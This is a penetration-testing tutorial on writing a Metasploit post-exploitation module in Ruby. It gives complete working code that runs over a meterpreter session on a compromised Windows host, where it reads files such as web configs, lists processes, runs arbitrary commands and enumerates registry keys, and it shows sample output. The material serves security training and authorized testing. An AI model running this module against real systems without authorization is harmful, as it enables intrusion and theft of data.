The exploitation of a machine is only one step in a penetration test. What do you do next? How can you pivot from the exploited machine to other machines in the network? This is the phase where you need to prove your post exploitation skills. Even if Metasploit is a complex framework, it is not complete and it sometimes needs to be extended.

Why would I write such a module?

Metasploit is the “World’s most used penetration testing software”, it contains a huge collection of modules, but it is not complete and you can customize it by writing your own modules.

Even if you manage to compromise a machine, you may ask yourself: “Now what?”. You can use one of the many Metasploit post exploitation modules, but what if you don’t find a suitable module for you? You may request it to the Metasploit community and developers but it may take a lot of time until it will be available. So why don’t you try to write your own module?

Learn from existing modules

The easiest way to build your post exploitation module is to start from an existing module. We will create a Windows post exploitation module, so we need to see how they work. We can find them, in Kali 1.1.0a, at the following location:

/usr/share/metasploit-framework/modules/post/windows/

They are organized in multiple categories, each one describes the functionality of the module:

drwxr-xr-x 2 root root 4096 Apr 6 07:23 capture drwxr-xr-x 2 root root 4096 Apr 6 07:23 escalate drwxr-xr-x 4 root root 12288 Apr 6 07:23 gather drwxr-xr-x 3 root root 4096 Apr 6 07:23 manage drwxr-xr-x 2 root root 4096 Apr 6 07:23 recon drwxr-xr-x 2 root root 4096 Apr 6 07:23 wlan

We will create a Windows Gather post-exploitation module, so we will look at existing modules in the /gather folder in order to understand how can we write our own module.

In our example, we will create a module that gathers some information from the victim:

read file

list processes

system info

execute command

get environment variables

read registry data

This example is only to understand what you can do with a post exploitation module and how to do it, however it is not recommended to do multiple things with a single module, it is better to split it by functionality.

Let’s start

First of all, we need to understand the architecture of a post-exploitation module so we will start from an existing one. For example gather/enum_domain_users.rb looks like this:

require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/netapi' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::Windows::Registry include Msf::Post::Windows::NetAPI include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Enumerate Active Domain Users', 'Description' => %q{ This module will enumerate computers included in the primary Domain and attempt to list all locations the targeted user has sessions on. If a the HOST option is specified the module will target only that host. If the HOST is specified and USER is set to nil, all users logged into that host will be returned.' }, 'License' => MSF_LICENSE, 'Author' => [ 'Etienne Stalmans <etienne[at]sensepost.com>', 'Ben Campbell' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('USER', [false, 'Target User for NetSessionEnum']), OptString.new('HOST', [false, 'Target a specific host']), ], self.class) end def run sessions = [] user = datastore['USER'] host = datastore['HOST'] ...

We see a few things:

some files are “required” (lines 1-5)

some modules “included” (lines 9-12)

there is a “initialize” procedure (line 14)

there is a “run” procedure (line 38)

the “initialize” procedure defines module information (lines 16-29)

the “initialize” procedure registers some options (lines 31-35)

So, a module skeleton may look like this:

require 'msf/core' require 'rex' require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Common def initialize(info={}) super( update_info( info, 'Name' => 'Module Name', 'Description' => %q{ Module description }, 'License' => MSF_LICENSE, 'Author' => [ 'Author <author[at]domain.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('OPTION', [false, 'Option']), ], self.class) end # Main method def run cmd_exec("calc.exe") end end

Module information

The easiest part is to edit the module information. Here are the fields:

Name – Short module name in the following format: “Platform” “Category” “Short description”, such as “Windows Gather Get some info”.

– Short module name in the following format: “Platform” “Category” “Short description”, such as “Windows Gather Get some info”. Description – Long description of the module, we can include details here

– Long description of the module, we can include details here License – MSF_LICENSE or other specific licence

– MSF_LICENSE or other specific licence Author – An array of authors who contributed to the plugin

– An array of authors who contributed to the plugin Platform – As the names say, the platform such as “win” or “linux”

– As the names say, the platform such as “win” or “linux” SessionTypes – Shell or meterpreter. A shell session is more limited but in our module we will focus on a meterpreter session

Required files and included modules

We will focus only on Windows so we have to look at the following location in order to see what basic functionality already exists and what can we use:

root@pwn:/usr/share/metasploit-framework/lib/msf/core/post# ls -la * -rw-r--r-- 1 root root 5724 Apr 20 16:21 common.rb -rw-r--r-- 1 root root 16510 Apr 20 16:21 file.rb ... -rw-r--r-- 1 root root 915 Apr 20 16:21 windows.rb windows: total 252 ... -rw-r--r-- 1 root root 16432 Apr 20 16:21 registry.rb -rw-r--r-- 1 root root 10014 Apr 20 16:21 runas.rb -rw-r--r-- 1 root root 17418 Apr 20 16:21 services.rb ...

The “windows.rb” file just requires (automatically includes) the other files from the lib/msf/core/post/windows directory:

module Msf::Post::Windows ... require 'msf/core/post/windows/registry' require 'msf/core/post/windows/runas' require 'msf/core/post/windows/services' ... end

We can require these files containing specific modules and include contained modules. For example, “msf/core/post/windows/registry.rb” contains the “Registry” module so we can use registry functions by using:

require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry

A basic post exploitation module may require at least the following:

require 'msf/core' require 'rex' require 'msf/core/post/common'

The “msf/core” is required for basic functionality such as constants and datastore, the “rex” is the library containing sockets, SSL, SMB, HTTP and a lot other useful stuff and “msf/core/post/common” allows us to execute shell commands.

Registered options

This is how our module options will look like:

In order to achieve this result, we have to register all options.

register_options( [ OptString.new('READFILE', [ true, 'Read a remote file: E.g. C:\\Wamp\\www\\config.php', 'C:\\Wamp\\www\\config.php' ]), OptBool.new('LISTPROCESSES', [ true, 'True if you want to list processes', 'TRUE' ]), OptBool.new('SYSTEMINFO', [ true, 'True if you want to get system info', 'TRUE' ]), OptString.new('CMDEXEC', [ true, 'Command to execute', 'ipconfig' ]), OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ]), OptString.new('REGISTRY', [ true, 'Registry data to read. E.g. HKLM\\SYSTEM\\ControlSet001\\Services', 'HKLM\\SYSTEM\\ControlSet001\\Services' ]), ], self.class)

We need to call “register_options” method and specify an array of all options. As you may see, there are different types of options available:

OptBool – A boolean true or false value

– A boolean true or false value OptString – Any string

There are also other option types available: OptInt for a number, OptPort for a port number, OptAddress for an IP address, OptAddressRange for a range of IP addresses or OptPath for a path. These option types limit the user and force him to specify a valid value for each option.

The parameters for options are easy to understand. For example:

OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ])

Parameters:

‘ENVIRONMENT‘ – Option name

true – If it is mandatory to set in order to use the module

‘Enviroment variable to read. E.g. PATH‘ – Option description

‘PATH‘ – Default option value

In the module code, we can get the specified values by accessing the “datastore” array: datastore[‘ENVIRONMENT’].

Run

As we already defined the module information and registered all desired options, we “just” need to code the module. Here is the place where your programming skills are required and you must get a little familiar with Ruby language. Even if you don’t know Ruby, you will find the above code straightforward and easy to understand.

Before, we just need to know how can we output data back to the module user:

print_line – Print text

print_status – [*] Print text

Print text print_good – [+] Print text

Print text print_error – [-] Print text

1. Read a file contents

First thing we want to do is to read a file. The “msf/core/post/file” file contains the “Msf::Post::File” module which provides us two useful functions, among many other:

exist? – To check if a file exists

read_file – To read a file

We check if the file exists. If it exists, we print it, if it does not, we just print an error message.

# Read the file if exist?(readfile) file_contents = read_file(readfile) print_good('File contents:') print_line('') print_line(file_contents) print_line('') else print_error('Cannot read specified file!') end

2. List processes

We can access the list of processes from “session.sys.process” using “get_processes” method.

# Print processes if it is requested if listprocesses == TRUE print_status('Process list:') print_line('') session.sys.process.get_processes().each do |x| print_good("#{x['name']} [#{x['pid']}]") end print_line('') end

3. System info

Here we get some system information. We can use “session.sys.config.sysinfo[‘OS’]” to get OS name or “session.sys.config.getuid” to get current user.

# System info if systeminfo == TRUE print_good("OS: #{session.sys.config.sysinfo['OS']}") print_good("Computer name: #{'Computer'} ") print_good("Current user: #{session.sys.config.getuid}") end

4. Execute command

We already found from the module template that we can use “cmd_exec” method in order to execute shell commands.

# Execute command print_status("Executing command: #{cmdexec}") print_line('') command_output = cmd_exec(cmdexec) print_line(command_output) print_line('')

5. Get environment variables

We can get environment variables values either by “session.sys.config.getenv” for a single variable or by “session.sys.config.getenvs” for multiple values.

# Get environment variables environment_var = session.sys.config.getenv(environment) other_environ = session.sys.config.getenvs('USERNAME', 'TMP', 'COMPUTERNAME') print_good("Environment variable #{environment} = #{environment_var}") print_good("Username: #{other_environ['USERNAME']}") print_good("Temporary data folder: #{other_environ['TMP']}") print_good("Computer name: #{other_environ['COMPUTERNAME']}") print_line('')

6. Read registry data

We will just enumerate registry keys in order to see all services for example and we will use “registry_enumkeys” method, but there are also other methods available to read, write or delete data from registry.

# Read registry data print_status("Enumerate registry keys from #{registry}") print_line('') reg_vals = registry_enumkeys(registry) reg_vals.each do |x| print_good("Service: #{x}") end print_line('')

Final module

This is how our Metasploit post exploitation module looks like:

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/file' require 'msf/core/post/windows' require 'rex' class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather SecurityCafe Test', 'Description' => %q{ This module is for tests }, 'License' => MSF_LICENSE, 'Author' => [ 'Ionut Popescu <contact[-at-]securitycafe.ro>' ], 'Platform' => [ 'win' ], 'Arch' => [ 'x86' ], 'SessionTypes' => [ 'meterpreter' ], )) register_options( [ OptString.new('READFILE', [ true, 'Read a remote file: E.g. C:\\Wamp\\www\\config.php', 'C:\\Wamp\\www\\config.php' ]), OptBool.new( 'LISTPROCESSES', [ true, 'True if you want to list processes', 'TRUE' ]), OptBool.new( 'SYSTEMINFO', [ true, 'True if you want to get system info', 'TRUE' ]), OptString.new('CMDEXEC', [ true, 'Command to execute', 'ipconfig' ]), OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ]), OptString.new('REGISTRY', [ true, 'Registry data to read. E.g. HKLM\\SYSTEM\\ControlSet001\\Services', 'HKLM\\SYSTEM\\ControlSet001\\Services' ]), ], self.class) end # Main method def run readfile = datastore['READFILE'] listprocesses = datastore['LISTPROCESSES'] systeminfo = datastore['SYSTEMINFO'] cmdexec = datastore['CMDEXEC'] environment = datastore['ENVIRONMENT'] registry = datastore['REGISTRY'] print_status('Starting module...') print_line('') # Read the file if exist?(readfile) file_contents = read_file(readfile) print_good('File contents:') print_line('') print_line(file_contents) print_line('') else print_error('Cannot read specified file!') end # Print processes if it is requested if listprocesses == TRUE print_status('Process list:') print_line('') session.sys.process.get_processes().each do |x| print_good("#{x['name']} [#{x['pid']}]") end print_line('') end # System info if systeminfo == TRUE print_good("OS: #{session.sys.config.sysinfo['OS']}") print_good("Computer name: #{'Computer'} ") print_good("Current user: #{session.sys.config.getuid}") print_line('') end # Execute command print_status("Executing command: #{cmdexec}") print_line('') command_output = cmd_exec(cmdexec) print_line(command_output) print_line('') # Get environment variables environment_var = session.sys.config.getenv(environment) other_environ = session.sys.config.getenvs('USERNAME', 'TMP', 'COMPUTERNAME') print_good("Environment variable #{environment} = #{environment_var}") print_good("Username: #{other_environ['USERNAME']}") print_good("Temporary data folder: #{other_environ['TMP']}") print_good("Computer name: #{other_environ['COMPUTERNAME']}") print_line('') # Read registry data print_status("Enumerate registry keys from #{registry}") print_line('') reg_vals = registry_enumkeys(registry) reg_vals.each do |x| print_good("Service: #{x}") end print_line('') end end

Running the above module targeting a Windows machine, using some default and some specified values, will output the following information:

msf post(securitycafe) > set SESSION 1 SESSION => 1 msf post(securitycafe) > set ENVIRONMENT LOGONSERVER ENVIRONMENT => LOGONSERVER msf post(securitycafe) > set CMDEXEC whoami CMDEXEC => whoami msf post(securitycafe) > run [*] Starting module... [+] File contents: <?php $private_data = 'HERE'; ?> [*] Process list: [+] [System Process] [0] [+] System [4] [+] smss.exe [452] [+] csrss.exe [596] [+] wininit.exe [692] [+] csrss.exe [720] [+] services.exe [764] ... [+] OS: Windows 7 (Build 7601, Service Pack 1). [+] Computer name: Computer [+] Current user: PENTEST\Ionut [*] Executing command: whoami pentest\ionut [+] Environment variable LOGONSERVER = \\PENTEST [+] Username: Ionut [+] Temporary data folder: C:\Users\Ionut\AppData\Local\Temp [+] Computer name: PENTEST [*] Enumerate registry keys from HKLM\SYSTEM\ControlSet001\Services [+] Service: .NET CLR Data [+] Service: .NET CLR Networking [+] Service: .NET CLR Networking 4.0.0.0 [+] Service: .NET Data Provider for Oracle [+] Service: .NET Data Provider for SqlServer [+] Service: .NET Memory Cache 4.0 [+] Service: .NETFramework ... [*] Post module execution completed msf post(securitycafe) >

Conclusion

Metasploit offers a great post exploitation support but you are limited to the existing modules. So if you need to write your own post exploitation module you may find out that this is not as difficult as it might sound.

The frameworks offers a lot of functionality in your module: access files, registry, execute commands and even call Windows API functions by using “session.railgun“.

The documentantion is not comprehensive, but you can learn from existing modules. However, the Metasploit wiki is a good place to start.

References

Metasploit wiki

How to get started with writing a post module

How to use Railgun for Windows post exploitation

How to Write a Metasploit Post-Exploitation Module

Metasploit post exploitation documentation

Steven Haywood – Introduction to Metasploit Post Exploitation Modules